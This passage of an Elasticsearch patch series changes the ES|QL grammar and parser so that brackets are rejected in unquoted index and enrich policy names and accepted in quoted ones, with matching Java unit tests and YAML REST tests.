+    "\u0274\u0276\u0003\u008aE\u0000\u0275\u0277\u0005G\u0000\u0000\u0276\u0275"+
+    "\u0001\u0000\u0000\u0000\u0276\u0277\u0001\u0000\u0000\u0000\u0277\u0278"+
+    "\u0001\u0000\u0000\u0000\u0278\u0279\u0005F\u0000\u0000\u0279\u027a\u0005"+
+    "c\u0000\u0000\u027a\u027f\u0003\u00a2Q\u0000\u027b\u027c\u0005>\u0000"+
+    "\u0000\u027c\u027e\u0003\u00a2Q\u0000\u027d\u027b\u0001\u0000\u0000\u0000"+
+    "\u027e\u0281\u0001\u0000\u0000\u0000\u027f\u027d\u0001\u0000\u0000\u0000"+
+    "\u027f\u0280\u0001\u0000\u0000\u0000\u0280\u0282\u0001\u0000\u0000\u0000"+
+    "\u0281\u027f\u0001\u0000\u0000\u0000\u0282\u0283\u0005d\u0000\u0000\u0283"+
+    "\u0285\u0001\u0000\u0000\u0000\u0284\u0266\u0001\u0000\u0000\u0000\u0284"+
+    "\u026d\u0001\u0000\u0000\u0000\u0284\u0274\u0001\u0000\u0000\u0000\u0285"+
+    "\u0087\u0001\u0000\u0000\u0000\u0286\u0289\u00030\u0018\u0000\u0287\u0288"+
+    "\u0005<\u0000\u0000\u0288\u028a\u0003\n\u0005\u0000\u0289\u0287\u0001"+
+    "\u0000\u0000\u0000\u0289\u028a\u0001\u0000\u0000\u0000\u028a\u028b\u0001"+
+    "\u0000\u0000\u0000\u028b\u028c\u0005=\u0000\u0000\u028c\u028d\u0003\u0098"+
+    "L\u0000\u028d\u0089\u0001\u0000\u0000\u0000\u028e\u0294\u0003\u008cF\u0000"+
+    "\u028f\u0290\u0003\u008cF\u0000\u0290\u0291\u0003\u00a4R\u0000\u0291\u0292"+
+    "\u0003\u008cF\u0000\u0292\u0294\u0001\u0000\u0000\u0000\u0293\u028e\u0001"+
+    "\u0000\u0000\u0000\u0293\u028f\u0001\u0000\u0000\u0000\u0294\u008b\u0001"+
+    "\u0000\u0000\u0000\u0295\u0296\u0006F\uffff\uffff\u0000\u0296\u029a\u0003"+
+    "\u008eG\u0000\u0297\u0298\u0007\u0005\u0000\u0000\u0298\u029a\u0003\u008c"+
+    "F\u0003\u0299\u0295\u0001\u0000\u0000\u0000\u0299\u0297\u0001\u0000\u0000"+
+    "\u0000\u029a\u02a3\u0001\u0000\u0000\u0000\u029b\u029c\n\u0002\u0000\u0000"+
+    "\u029c\u029d\u0007\u0006\u0000\u0000\u029d\u02a2\u0003\u008cF\u0003\u029e"+
+    "\u029f\n\u0001\u0000\u0000\u029f\u02a0\u0007\u0005\u0000\u0000\u02a0\u02a2"+
+    "\u0003\u008cF\u0002\u02a1\u029b\u0001\u0000\u0000\u0000\u02a1\u029e\u0001"+
+    "\u0000\u0000\u0000\u02a2\u02a5\u0001\u0000\u0000\u0000\u02a3\u02a1\u0001"+
+    "\u0000\u0000\u0000\u02a3\u02a4\u0001\u0000\u0000\u0000\u02a4\u008d\u0001"+
+    "\u0000\u0000\u0000\u02a5\u02a3\u0001\u0000\u0000\u0000\u02a6\u02a7\u0006"+
+    "G\uffff\uffff\u0000\u02a7\u02af\u0003\u0098L\u0000\u02a8\u02af\u00030"+
+    "\u0018\u0000\u02a9\u02af\u0003\u0090H\u0000\u02aa\u02ab\u0005c\u0000\u0000"+
+    "\u02ab\u02ac\u0003\u0084B\u0000\u02ac\u02ad\u0005d\u0000\u0000\u02ad\u02af"+
+    "\u0001\u0000\u0000\u0000\u02ae\u02a6\u0001\u0000\u0000\u0000\u02ae\u02a8"+
+    "\u0001\u0000\u0000\u0000\u02ae\u02a9\u0001\u0000\u0000\u0000\u02ae\u02aa"+
+    "\u0001\u0000\u0000\u0000\u02af\u02b5\u0001\u0000\u0000\u0000\u02b0\u02b1"+
+    "\n\u0001\u0000\u0000\u02b1\u02b2\u0005<\u0000\u0000\u02b2\u02b4\u0003"+
+    "\n\u0005\u0000\u02b3\u02b0\u0001\u0000\u0000\u0000\u02b4\u02b7\u0001\u0000"+
+    "\u0000\u0000\u02b5\u02b3\u0001\u0000\u0000\u0000\u02b5\u02b6\u0001\u0000"+
+    "\u0000\u0000\u02b6\u008f\u0001\u0000\u0000\u0000\u02b7\u02b5\u0001\u0000"+
+    "\u0000\u0000\u02b8\u02b9\u0003\u0092I\u0000\u02b9\u02c7\u0005c\u0000\u0000"+
+    "\u02ba\u02c8\u0005Y\u0000\u0000\u02bb\u02c0\u0003\u0084B\u0000\u02bc\u02bd"+
+    "\u0005>\u0000\u0000\u02bd\u02bf\u0003\u0084B\u0000\u02be\u02bc\u0001\u0000"+
+    "\u0000\u0000\u02bf\u02c2\u0001\u0000\u0000\u0000\u02c0\u02be\u0001\u0000"+
+    "\u0000\u0000\u02c0\u02c1\u0001\u0000\u0000\u0000\u02c1\u02c5\u0001\u0000"+
+    "\u0000\u0000\u02c2\u02c0\u0001\u0000\u0000\u0000\u02c3\u02c4\u0005>\u0000"+
+    "\u0000\u02c4\u02c6\u0003\u0094J\u0000\u02c5\u02c3\u0001\u0000\u0000\u0000"+
+    "\u02c5\u02c6\u0001\u0000\u0000\u0000\u02c6\u02c8\u0001\u0000\u0000\u0000"+
+    "\u02c7\u02ba\u0001\u0000\u0000\u0000\u02c7\u02bb\u0001\u0000\u0000\u0000"+
+    "\u02c7\u02c8\u0001\u0000\u0000\u0000\u02c8\u02c9\u0001\u0000\u0000\u0000"+
+    "\u02c9\u02ca\u0005d\u0000\u0000\u02ca\u0091\u0001\u0000\u0000\u0000\u02cb"+
+    "\u02cc\u0003>\u001f\u0000\u02cc\u0093\u0001\u0000\u0000\u0000\u02cd\u02ce"+
+    "\u0005\\\u0000\u0000\u02ce\u02d3\u0003\u0096K\u0000\u02cf\u02d0\u0005"+
+    ">\u0000\u0000\u02d0\u02d2\u0003\u0096K\u0000\u02d1\u02cf\u0001\u0000\u0000"+
+    "\u0000\u02d2\u02d5\u0001\u0000\u0000\u0000\u02d3\u02d1\u0001\u0000\u0000"+
+    "\u0000\u02d3\u02d4\u0001\u0000\u0000\u0000\u02d4\u02d6\u0001\u0000\u0000"+
+    "\u0000\u02d5\u02d3\u0001\u0000\u0000\u0000\u02d6\u02d7\u0005]\u0000\u0000"+
+    "\u02d7\u0095\u0001\u0000\u0000\u0000\u02d8\u02d9\u0003\u00a2Q\u0000\u02d9"+
+    "\u02da\u0005=\u0000\u0000\u02da\u02db\u0003\u0098L\u0000\u02db\u0097\u0001"+
+    "\u0000\u0000\u0000\u02dc\u0307\u0005H\u0000\u0000\u02dd\u02de\u0003\u00a0"+
+    "P\u0000\u02de\u02df\u0005e\u0000\u0000\u02df\u0307\u0001\u0000\u0000\u0000"+
+    "\u02e0\u0307\u0003\u009eO\u0000\u02e1\u0307\u0003\u00a0P\u0000\u02e2\u0307"+
+    "\u0003\u009aM\u0000\u02e3\u0307\u0003:\u001d\u0000\u02e4\u0307\u0003\u00a2"+
+    "Q\u0000\u02e5\u02e6\u0005a\u0000\u0000\u02e6\u02eb\u0003\u009cN\u0000"+
+    "\u02e7\u02e8\u0005>\u0000\u0000\u02e8\u02ea\u0003\u009cN\u0000\u02e9\u02e7"+
+    "\u0001\u0000\u0000\u0000\u02ea\u02ed\u0001\u0000\u0000\u0000\u02eb\u02e9"+
+    "\u0001\u0000\u0000\u0000\u02eb\u02ec\u0001\u0000\u0000\u0000\u02ec\u02ee"+
+    "\u0001\u0000\u0000\u0000\u02ed\u02eb\u0001\u0000\u0000\u0000\u02ee\u02ef"+
+    "\u0005b\u0000\u0000\u02ef\u0307\u0001\u0000\u0000\u0000\u02f0\u02f1\u0005"+
+    "a\u0000\u0000\u02f1\u02f6\u0003\u009aM\u0000\u02f2\u02f3\u0005>\u0000"+
+    "\u0000\u02f3\u02f5\u0003\u009aM\u0000\u02f4\u02f2\u0001\u0000\u0000\u0000"+
+    "\u02f5\u02f8\u0001\u0000\u0000\u0000\u02f6\u02f4\u0001\u0000\u0000\u0000"+
+    "\u02f6\u02f7\u0001\u0000\u0000\u0000\u02f7\u02f9\u0001\u0000\u0000\u0000"+
+    "\u02f8\u02f6\u0001\u0000\u0000\u0000\u02f9\u02fa\u0005b\u0000\u0000\u02fa"+
+    "\u0307\u0001\u0000\u0000\u0000\u02fb\u02fc\u0005a\u0000\u0000\u02fc\u0301"+
+    "\u0003\u00a2Q\u0000\u02fd\u02fe\u0005>\u0000\u0000\u02fe\u0300\u0003\u00a2"+
+    "Q\u0000\u02ff\u02fd\u0001\u0000\u0000\u0000\u0300\u0303\u0001\u0000\u0000"+
+    "\u0000\u0301\u02ff\u0001\u0000\u0000\u0000\u0301\u0302\u0001\u0000\u0000"+
+    "\u0000\u0302\u0304\u0001\u0000\u0000\u0000\u0303\u0301\u0001\u0000\u0000"+
+    "\u0000\u0304\u0305\u0005b\u0000\u0000\u0305\u0307\u0001\u0000\u0000\u0000"+
+    "\u0306\u02dc\u0001\u0000\u0000\u0000\u0306\u02dd\u0001\u0000\u0000\u0000"+
+    "\u0306\u02e0\u0001\u0000\u0000\u0000\u0306\u02e1\u0001\u0000\u0000\u0000"+
+    "\u0306\u02e2\u0001\u0000\u0000\u0000\u0306\u02e3\u0001\u0000\u0000\u0000"+
+    "\u0306\u02e4\u0001\u0000\u0000\u0000\u0306\u02e5\u0001\u0000\u0000\u0000"+
+    "\u0306\u02f0\u0001\u0000\u0000\u0000\u0306\u02fb\u0001\u0000\u0000\u0000"+
+    "\u0307\u0099\u0001\u0000\u0000\u0000\u0308\u0309\u0007\u0007\u0000\u0000"+
+    "\u0309\u009b\u0001\u0000\u0000\u0000\u030a\u030d\u0003\u009eO\u0000\u030b"+
+    "\u030d\u0003\u00a0P\u0000\u030c\u030a\u0001\u0000\u0000\u0000\u030c\u030b"+
+    "\u0001\u0000\u0000\u0000\u030d\u009d\u0001\u0000\u0000\u0000\u030e\u0310"+
+    "\u0007\u0005\u0000\u0000\u030f\u030e\u0001\u0000\u0000\u0000\u030f\u0310"+
+    "\u0001\u0000\u0000\u0000\u0310\u0311\u0001\u0000\u0000\u0000\u0311\u0312"+
+    "\u00057\u0000\u0000\u0312\u009f\u0001\u0000\u0000\u0000\u0313\u0315\u0007"+
+    "\u0005\u0000\u0000\u0314\u0313\u0001\u0000\u0000\u0000\u0314\u0315\u0001"+
+    "\u0000\u0000\u0000\u0315\u0316\u0001\u0000\u0000\u0000\u0316\u0317\u0005"+
+    "6\u0000\u0000\u0317\u00a1\u0001\u0000\u0000\u0000\u0318\u0319\u00055\u0000"+
+    "\u0000\u0319\u00a3\u0001\u0000\u0000\u0000\u031a\u031b\u0007\b\u0000\u0000"+
+    "\u031b\u00a5\u0001\u0000\u0000\u0000\u031c\u031d\u0007\t\u0000\u0000\u031d"+
+    "\u031e\u0005r\u0000\u0000\u031e\u031f\u0003\u00a8T\u0000\u031f\u0320\u0003"+
+    "\u00aaU\u0000\u0320\u00a7\u0001\u0000\u0000\u0000\u0321\u0322\u0003\u001c"+
+    "\u000e\u0000\u0322\u00a9\u0001\u0000\u0000\u0000\u0323\u0324\u0005J\u0000"+
+    "\u0000\u0324\u0329\u0003\u00acV\u0000\u0325\u0326\u0005>\u0000\u0000\u0326"+
+    "\u0328\u0003\u00acV\u0000\u0327\u0325\u0001\u0000\u0000\u0000\u0328\u032b"+
+    "\u0001\u0000\u0000\u0000\u0329\u0327\u0001\u0000\u0000\u0000\u0329\u032a"+
+    "\u0001\u0000\u0000\u0000\u032a\u00ab\u0001\u0000\u0000\u0000\u032b\u0329"+
+    "\u0001\u0000\u0000\u0000\u032c\u032d\u0003\u008aE\u0000\u032d\u00ad\u0001"+
+    "\u0000\u0000\u0000H\u00b9\u00c3\u00e0\u00ef\u00f5\u00fe\u0104\u0111\u0115"+
+    "\u0120\u0130\u0138\u013c\u0143\u0149\u0150\u0158\u0160\u0168\u016c\u0170"+
+    "\u0175\u0180\u0185\u0189\u0197\u01a2\u01a8\u01b6\u01cb\u01d3\u01d6\u01dd"+
+    "\u01ed\u01f3\u01fa\u0205\u0213\u021f\u0228\u0230\u0236\u0243\u024c\u0254"+
+    "\u0259\u0261\u0263\u0268\u026f\u0276\u027f\u0284\u0289\u0293\u0299\u02a1"+
+    "\u02a3\u02ae\u02b5\u02c0\u02c5\u02c7\u02d3\u02eb\u02f6\u0301\u0306\u030c"+
+    "\u030f\u0314\u0329";
   public static final ATN _ATN =
     new ATNDeserializer().deserialize(_serializedATN.toCharArray());
   static {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseListener.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseListener.java
index 8a9bc07a99eae..24e5e37c33732 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseListener.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseListener.java
@@ -632,6 +632,18 @@ public class EsqlBaseParserBaseListener implements EsqlBaseParserListener {
    * <p>The default implementation does nothing.</p>
    */
   @Override public void exitEnrichCommand(EsqlBaseParser.EnrichCommandContext ctx) { }
+  /**
+   * {@inheritDoc}
+   *
+   * <p>The default implementation does nothing.</p>
+   */
+  @Override public void enterEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx) { }
+  /**
+   * {@inheritDoc}
+   *
+   * <p>The default implementation does nothing.</p>
+   */
+  @Override public void exitEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx) { }
   /**
    * {@inheritDoc}
    *
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseVisitor.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseVisitor.java
index 6c13edd55907a..591e126025943 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseVisitor.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserBaseVisitor.java
@@ -377,6 +377,13 @@ public class EsqlBaseParserBaseVisitor<T> extends AbstractParseTreeVisitor<T> im
    * {@link #visitChildren} on {@code ctx}.</p>
    */
   @Override public T visitEnrichCommand(EsqlBaseParser.EnrichCommandContext ctx) { return visitChildren(ctx); }
+  /**
+   * {@inheritDoc}
+   *
+   * <p>The default implementation returns the result of calling
+   * {@link #visitChildren} on {@code ctx}.</p>
+   */
+  @Override public T visitEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx) { return visitChildren(ctx); }
   /**
    * {@inheritDoc}
    *
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserListener.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserListener.java
index cfab02cb3d826..9f088be7bcfd4 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserListener.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserListener.java
@@ -541,6 +541,16 @@ public interface EsqlBaseParserListener extends ParseTreeListener {
    * @param ctx the parse tree
    */
   void exitEnrichCommand(EsqlBaseParser.EnrichCommandContext ctx);
+  /**
+   * Enter a parse tree produced by {@link EsqlBaseParser#enrichPolicyName}.
+   * @param ctx the parse tree
+   */
+  void enterEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx);
+  /**
+   * Exit a parse tree produced by {@link EsqlBaseParser#enrichPolicyName}.
+   * @param ctx the parse tree
+   */
+  void exitEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx);
   /**
    * Enter a parse tree produced by {@link EsqlBaseParser#enrichWithClause}.
    * @param ctx the parse tree
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserVisitor.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserVisitor.java
index b27d3f0210cdb..cc0245d04bf82 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserVisitor.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParserVisitor.java
@@ -332,6 +332,12 @@ public interface EsqlBaseParserVisitor<T> extends ParseTreeVisitor<T> {
    * @return the visitor result
    */
   T visitEnrichCommand(EsqlBaseParser.EnrichCommandContext ctx);
+  /**
+   * Visit a parse tree produced by {@link EsqlBaseParser#enrichPolicyName}.
+   * @param ctx the parse tree
+   * @return the visitor result
+   */
+  T visitEnrichPolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx);
   /**
    * Visit a parse tree produced by {@link EsqlBaseParser#enrichWithClause}.
    * @param ctx the parse tree
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
index a8ea1ba95dc15..3d6162e1a12d6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
@@ -8,7 +8,6 @@
 package org.elasticsearch.xpack.esql.parser;
 
 import org.antlr.v4.runtime.ParserRuleContext;
-import org.antlr.v4.runtime.Token;
 import org.antlr.v4.runtime.tree.ParseTree;
 import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.Build;
@@ -90,7 +89,6 @@
 import java.util.function.Function;
 
 import static java.util.Collections.emptyList;
-import static org.elasticsearch.xpack.esql.common.Failure.fail;
 import static org.elasticsearch.xpack.esql.core.type.DataType.KEYWORD;
 import static org.elasticsearch.xpack.esql.core.util.StringUtils.WILDCARD;
 import static org.elasticsearch.xpack.esql.expression.NamedExpressions.mergeOutputExpressions;
@@ -514,8 +512,15 @@ public PlanFactory visitChangePointCommand(EsqlBaseParser.ChangePointCommandCont
         return child -> new ChangePoint(src, child, value, key, targetType, targetPvalue);
     }
 
-    private static Tuple<Mode, String> parsePolicyName(Token policyToken) {
-        String stringValue = policyToken.getText();
+    private static Tuple<Mode, String> parsePolicyName(EsqlBaseParser.EnrichPolicyNameContext ctx) {
+        String stringValue;
+        if (ctx.ENRICH_POLICY_NAME() != null) {
+            stringValue = ctx.ENRICH_POLICY_NAME().getText();
+        } else {
+            stringValue = ctx.QUOTED_STRING().getText();
+            stringValue = stringValue.substring(1, stringValue.length() - 1);
+        }
+
         int index = stringValue.indexOf(":");
         Mode mode = null;
         if (index >= 0) {
@@ -527,7 +532,7 @@ private static Tuple<Mode, String> parsePolicyName(Token policyToken) {
 
             if (mode == null) {
                 throw new ParsingException(
-                    source(policyToken),
+                    source(ctx),
                     "Unrecognized value [{}], ENRICH policy qualifier needs to be one of {}",
                     modeValue,
                     Arrays.stream(Mode.values()).map(s -> "_" + s).toList()
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
index c9d51142c1208..0460994f6a231 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
@@ -4733,4 +4733,74 @@ public void testUnclosedParenthesis() {
             expectError(q, "Invalid query");
         }
     }
+
+    public void testBracketsInIndexNames() {
+
+        List<String> patterns = List.of(
+            "(",
+            ")",
+            "()",
+            "(((",
+            ")))",
+            "(test",
+            "test)",
+            "(test)",
+            "te()st",
+            "concat(foo,bar)",
+            "((((()))))",
+            "(((abc)))",
+            "*()*",
+            "*test()*"
+        );
+
+        for (String pattern : patterns) {
+            expectErrorForBracketsWithoutQuotes(pattern);
+            expectSuccessForBracketsWithinQuotes(pattern);
+        }
+
+        expectError("from test)", "line 1:10: extraneous input ')' expecting <EOF>");
+        expectError("from te()st", "line 1:8: token recognition error at: '('");
+        expectError("from test | enrich foo)", "line -1:-1: Invalid query [from test | enrich foo)]");
+        expectError("from test | lookup join foo) on bar", "line 1:28: token recognition error at: ')'");
+    }
+
+    private void expectErrorForBracketsWithoutQuotes(String pattern) {
+        expectThrows(ParsingException.class, () -> processingCommand("from " + pattern));
+
+        expectThrows(ParsingException.class, () -> processingCommand("from *:" + pattern));
+
+        expectThrows(ParsingException.class, () -> processingCommand("from remote1:" + pattern + ",remote2:" + pattern));
+
+        expectThrows(ParsingException.class, () -> processingCommand("from test | lookup join " + pattern + " on bar"));
+
+        expectThrows(ParsingException.class, () -> processingCommand("from test | enrich " + pattern));
+    }
+
+    private void expectSuccessForBracketsWithinQuotes(String indexName) {
+        LogicalPlan plan = statement("from \"" + indexName + "\"");
+        UnresolvedRelation from = as(plan, UnresolvedRelation.class);
+        assertThat(from.indexPattern().indexPattern(), is(indexName));
+
+        plan = statement("from \"*:" + indexName + "\"");
+        from = as(plan, UnresolvedRelation.class);
+        assertThat(from.indexPattern().indexPattern(), is("*:" + indexName));
+
+        plan = statement("from \"remote1:" + indexName + ",remote2:" + indexName + "\"");
+        from = as(plan, UnresolvedRelation.class);
+        assertThat(from.indexPattern().indexPattern(), is("remote1:" + indexName + ",remote2:" + indexName));
+
+        plan = statement("from test | enrich \"" + indexName + "\"");
+        Enrich enrich = as(plan, Enrich.class);
+        assertThat(enrich.policyName().fold(FoldContext.small()), is(BytesRefs.toBytesRef(indexName)));
+        as(enrich.child(), UnresolvedRelation.class);
+
+        if (indexName.contains("*")) {
+            expectThrows(ParsingException.class, () -> processingCommand("from test | lookup join \"" + indexName + "\" on bar"));
+        } else {
+            plan = statement("from test | lookup join \"" + indexName + "\" on bar");
+            LookupJoin lookup = as(plan, LookupJoin.class);
+            UnresolvedRelation right = as(lookup.right(), UnresolvedRelation.class);
+            assertThat(right.indexPattern().indexPattern(), is(indexName));
+        }
+    }
 }
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/220_explain.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/220_explain.yml
index be9163bd2a2fa..3e0eb4f3d07c8 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/220_explain.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/220_explain.yml
@@ -6,7 +6,7 @@ setup:
         - method: POST
           path: /_query
           parameters: []
-          capabilities: [explain]
+          capabilities: [explain, no_brackets_in_unquoted_index_names]
       reason: "new EXPLAIN command"
   - do:
       indices.create:
@@ -86,6 +86,29 @@ explainQuery:
   - match: { values.2.0: "coordinator" }
   - match: { values.2.1: "optimizedPhysicalPlan" }
 
+---
+explainFrom:
+  - do:
+      allowed_warnings_regex:
+        - "No limit defined, adding default limit of \\[.*\\]"
+      esql.query:
+        body:
+          query: 'EXPLAIN (from test)'
+
+  - length: { columns: 3 }
+  - match: {columns.0.name: "role"}
+  - match: {columns.0.type: "keyword"}
+  - match: {columns.1.name: "type"}
+  - match: {columns.1.type: "keyword"}
+  - match: {columns.2.name: "plan"}
+  - match: {columns.2.type: "keyword"}
+  - length: { values: 3 }
+  - match: { values.0.0: "coordinator" }
+  - match: { values.0.1: "parsedPlan" }
+  - match: { values.1.0: "coordinator" }
+  - match: { values.1.1: "optimizedLogicalPlan" }
+  - match: { values.2.0: "coordinator" }
+  - match: { values.2.1: "optimizedPhysicalPlan" }
 
 ---
 explainDownstream:
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
index 8a5d3be6758e3..d05b14a390c4e 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
@@ -191,3 +191,59 @@ teardown:
   - match: { values.1: [ "Bob", "New York", "nyc", "USA" ] }
   - match: { values.2: [ "Denise", "Tan Son Nhat", null, null ] }
   - match: { values.3: [ "Mario", "Rome", "rom", "Italy" ] }
+
+
+---
+"Enrich with brackets in policy name":
+  - requires:
+      test_runner_features: [capabilities, allowed_warnings_regex]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: []
+          capabilities: [ no_brackets_in_unquoted_index_names ]
+      reason: "Change in the grammar"
+
+  - do:
+      allowed_warnings_regex:
+        - "No limit defined, adding default limit of \\[.*\\]"
+      esql.query:
+        body:
+          query: 'from test | enrich "city_codes_policy)" on city_id | keep name, city, country | sort name'
+      catch: "bad_request"
+
+  - match: { status: 400 }
+  - match: { error.type: verification_exception }
+  - match: { error.reason: "/.*cannot.find.enrich.policy.*/" }
+
+
+---
+"Enrich in fork":
+  - requires:
+      test_runner_features: [capabilities, allowed_warnings_regex]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: []
+          capabilities: [ no_brackets_in_unquoted_index_names ]
+      reason: "Change in the grammar"
+
+  - do:
+      allowed_warnings_regex:
+        - "No limit defined, adding default limit of \\[.*\\]"
+      esql.query:
+        body:
+          query: 'from test | eval city_code = city_id | FORK (enrich city_codes_policy) (where false) | keep name, city, country | sort name'
+
+  - match: { columns.0.name: "name" }
+  - match: { columns.0.type: "keyword" }
+  - match: { columns.1.name: "city" }
+  - match: { columns.1.type: "text" }
+  - match: { columns.2.name: "country" }
+  - match: { columns.2.type: "keyword" }
+
+  - length: { values: 4 }
+  - match: { values.0: [ "Alice", "New York", "USA" ] }
+  - match: { values.1: [ "Bob", "New York", "USA" ] }
+  - match: { values.2: [ "Denise", null, null ] }
+  - match: { values.3: [ "Mario", "Rome", "Italy" ] }
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/61_enrich_bracket.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/61_enrich_bracket.yml
new file mode 100644
index 0000000000000..04db9037d2054
--- /dev/null
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/61_enrich_bracket.yml
@@ -0,0 +1,111 @@
+---
+setup:
+  - skip:
+      awaits_fix: "https://github.com/elastic/elasticsearch/issues/130740"
+  - requires:
+      cluster_features: ["gte_v8.11.0"]
+      reason: "ESQL is available in 8.11+"
+      test_runner_features: allowed_warnings_regex
+  - do:
+      indices.create:
+        index: cities
+        body:
+          settings:
+            number_of_shards: 5
+          mappings:
+            properties:
+              city_code:
+                type: keyword
+              city:
+                type: text
+              country:
+                type: keyword
+
+  - do:
+      bulk:
+        index: cities
+        refresh: true
+        body:
+          - { "index": { } }
+          - { "city_code": "nyc", "city": "New York", "country": "USA" }
+          - { "index": { } }
+          - { "city_code": "rom", "city": "Rome", "country": "Italy" }
+
+  - do:
+      enrich.put_policy:
+        name: city_codes)policy
+        body:
+          match:
+            indices: [ "cities" ]
+            match_field: "city_code"
+            enrich_fields: [ "city", "country" ]
+
+
+  - do:
+      enrich.execute_policy:
+        name: city_codes)policy
+
+
+  - do:
+      indices.create:
+        index: test
+        body:
+          mappings:
+            properties:
+              name:
+                type: keyword
+              city_id:
+                type: keyword
+              city_name:
+                type: text
+  - do:
+      bulk:
+        index: test
+        refresh: true
+        body:
+          - { "index": { } }
+          - { "name": "Alice", "city_id": "nyc", "city_name": "New York" }
+          - { "index": { } }
+          - { "name": "Bob", "city_id": "nyc", "city_name": "New York" }
+          - { "index": { } }
+          - { "name": "Mario", "city_id": "rom", "city_name": "Rome" }
+          - { "index": { } }
+          - { "name": "Denise", "city_id": "sgn", "city_name": "Tan Son Nhat" }
+
+
+---
+teardown:
+  - do:
+      enrich.delete_policy:
+        name: city_codes)policy
+
+---
+"Enrich on keyword":
+  - requires:
+      test_runner_features: [ capabilities, allowed_warnings_regex ]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: [ ]
+          capabilities: [ no_brackets_in_unquoted_index_names ]
+      reason: "Change in the grammar"
+
+  - do:
+      allowed_warnings_regex:
+        - "No limit defined, adding default limit of \\[.*\\]"
+      esql.query:
+        body:
+          query: 'from test | enrich "city_codes)policy" on city_id | keep name, city, country | sort name'
+
+  - match: { columns.0.name: "name" }
+  - match: { columns.0.type: "keyword" }
+  - match: { columns.1.name: "city" }
+  - match: { columns.1.type: "text" }
+  - match: { columns.2.name: "country" }
+  - match: { columns.2.type: "keyword" }
+
+  - length: { values: 4 }
+  - match: { values.0: [ "Alice", "New York", "USA" ] }
+  - match: { values.1: [ "Bob", "New York", "USA" ] }
+  - match: { values.2: [ "Denise", null, null ] }
+  - match: { values.3: [ "Mario", "Rome", "Italy" ] }

From 5f6312edb32aa906795ef25df2321812f54f2995 Mon Sep 17 00:00:00 2001
From: Keith Massey <keith.massey@elastic.co>
Date: Wed, 9 Jul 2025 17:06:48 -0500
Subject: [PATCH 110/299] Making sure we never have zero backing indices
 (#130945) (#130951)

---
 .../xpack/deprecation/DataStreamDeprecationCheckerTests.java    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/deprecation/src/test/java/org/elasticsearch/xpack/deprecation/DataStreamDeprecationCheckerTests.java b/x-pack/plugin/deprecation/src/test/java/org/elasticsearch/xpack/deprecation/DataStreamDeprecationCheckerTests.java
index 6f1853eaeed68..bf314d405f139 100644
--- a/x-pack/plugin/deprecation/src/test/java/org/elasticsearch/xpack/deprecation/DataStreamDeprecationCheckerTests.java
